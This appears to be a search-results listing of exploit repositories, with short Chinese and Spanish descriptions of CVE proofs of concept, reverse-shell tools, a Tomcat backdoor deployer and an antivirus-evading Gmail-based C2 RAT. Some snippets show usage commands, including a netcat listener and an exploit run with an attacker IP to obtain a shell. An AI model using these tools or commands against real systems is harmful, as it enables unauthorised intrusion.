1845 matches found
CVE-2020-8165
CVE-2020-8165.py 针对CVE-2020-8165漏洞的一个Shell：https://github.com/masahiro331/CVE-2020-8165 使用方法： CVE-2020-8165.py IP IP:PORT CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...
EXPLOIT-CVE-2026-63030
Lab — CVE-2026-63030 “wp2shell” + CVE-2026-60137 Entorno Docker intencionalmente vulnerable con WordPress Core 7.0.1 y un exploit en Python que demuestra la cadena preautenticación wp2shell : CVE| Componente| Qué es ---|---|--- CVE-2026-63030| REST API /wp-json/batch/v1| Confusión de rutas :...
CVE-2025-65731
CVE-2025-65731 CWE-1191: Interfaz de depuración y prueba en chip con control de acceso inadecuado Acceso a shell raíz vía UART en D-Link DIR-605L Hardware F1, Firmware V6.02CN02 Resumen Se ha identificado una vulnerabilidad de hardware crítica en el router D-Link DIR-605L, versión de hardware F1,...
Shellshock
Shellshock 漏洞利用 CVE-2014-6271 漏洞利用 描述 该仓库包含针对影响 Unix 系统的漏洞的利用代码。请注意，这仅是一个用于教育目的的概念验证脚本，应负责任地使用。 此利用代码旨在演示 Shellshock 攻击的工作原理，以及如何通过恶意构造的请求头获取系统 shell 访问权限。 免责声明 此仓库仅用于教育目的。请勿将此代码或其中包含的任何信息用于恶意目的。始终遵守道德准则并尊重法律。 使用方法： python3 shellshock.py 目标 URL 本机 IP 本机端口 示例： python3 shellshock.py...
gmailc2
gmailc2 A Fully Undetectable C2 Server That Communicates Via Google SMTP to evade Antivirus Protections and Network Traffic Restrictions Note: This RAT communicates Via Gmail SMTP or u can use any other smtps as well but Gmail SMTP is valid because most of the companies block unknown traffic so...
tomcatWarDeployer
tomcatWarDeployer Apache Tomcat 自动 WAR 部署与渗透测试工具。 这是什么？ 这是一个渗透测试工具，旨在利用 Apache Tomcat 凭据自动生成并部署 JSP 后门，随后调用它并提供便捷的 shell（可通过 Web 界面、远程主机上的绑定监听端口，或反向 TCP 负载回连到攻击者）。 实际上，该工具会即时生成 JSP 后门 WAR 包，并使用渗透测试人员提供的有效 HTTP 认证凭据（或自定义凭据，毕竟我们都爱 tomcat:tomcat ）将其部署到 Apache Tomcat 管理器应用程序中。...
PoC_CVE-2019-10149--rce
Acerca de Ejecución remota de comandos en shell desde un servicio exim vulnerable. Las versiones vulnerables van de 4.87 a 4.91 inclusive. Consulta https://nvd.nist.gov/vuln/detail/cve-2019-10149. El siguiente script se basa en el PoC de Qualys. Consulta...
cve-2018-2628
cve-2018-2628 cve-2018-2628 反弹shell 文章 https://pi.wrysunnylove.cn/archives/58...
TryHack3M-Bricks-Heist
TryHack3M: Atraco de Bricks Exploit • Writeup • Desafío CTF Un repositorio completo que contiene un exploit personalizado y un writeup detallado para el desafío TryHack3M: Bricks Heist Inicio Rápido • Estructura del Repositorio • El Exploit • El Writeup • Aviso Legal Resumen Este repositorio...
dlink_shell_poc
dlinkshellpoc PoC de shell D-Link Probado en D-Link 815 Versión A 1.3 Funciona con: DIR-110 DIR-412 DIR-600 DIR-610 DIR-615 DIR-645 https://vuldb.com/?id.7843 DIR-815 Nota: el código del PoC no maneja captchas. Ejemplo root@kali: ./dlinkshellpoc.py -h usage: dlinkshellpoc.py -h -p PASSWORD -u URL...
CVE-2022-2333
CVE-2022-2333 搞了大半年，给大家康个好康的 sxf vpn 大家喜欢吗 我不太喜欢 搞了大半年，shell都弹了 弹完发现是老固件 M7.6.8里居然没了 算了算了 不是信不过你，是我们大家想开开眼界 在家憋了这么长时间了，我也想出门开开眼界 生气 https://user-images.githubusercontent.com/104356092/165071356-d4f44414-77dc-4295-a804-9773908df7be.mp4...
hunt-for-cve-2018-10933
Buscar y Explotar la Omisión de Autenticación de libSSH CVE-2018-10933 Guía práctica que explica cómo encontrar hosts vulnerables a la Omisión de Autenticación de libSSH CVE-2018-10933 y cómo explotarlos para obtener acceso a la terminal. Consulte la siguiente publicación de blog para obtener...
CVE-2020-29669
Macally WIFISD2-2A82 Informe sobre CVE-2020-29669 por Maximilian Barz Silky y Daniel Schwendner code-byter ========================== Este es un informe sobre la explotación del router de viaje Macally WIFISD2-2A82 versión de firmware: 2.000.010. El usuario Guest puede restablecer su propia...
CVE-2021-43857-Gerapy-v0.9.7
CVE-2021-43857-Gerapy-v0.9.7 以管理员身份登录门户 添加新项目 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 获得shell访问...
tscan
Escáner de Bypass de Autenticación Telnetd CVE-2026-24061 Un escáner basado en Python para detectar y explotar la vulnerabilidad CVE-2026-24061 en los servicios telnetd de GNU Inetutils. Esta herramienta escanea direcciones IP o redes en busca de servicios telnetd vulnerables que permiten el bypa...
CVE-2026-41940
Basado en Watch Tower POC , Soporta acceso directo a shell vía websocket , y añadir claves raíz de API para persistencia...
CVE-2024-4577
lol CVE-2024-4577 1. exploit command RCE value python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory find writable dir python...
CVE-2026-39987_PoC
CVE-2026-39987-PoC Descargo de responsabilidad Este script es SOLO para fines educativos y de pruebas autorizadas. El uso no autorizado de esta herramienta contra sistemas sin permiso explícito es ILEGAL. El autor no es responsable de ningún uso indebido de esta información. Las versiones de Mari...
webcgi-exploits
Exploits de Web CGI Aquí hay varios exploits relacionados con diferentes CGIs web. Escribí esos exploits en los últimos años. Cómo funciona Las aplicaciones web son básicamente estas capas: 1. aplicaciones 2. frameworks web 3. motores de lenguajes de script 4. contenedores web servidores 5. proxy...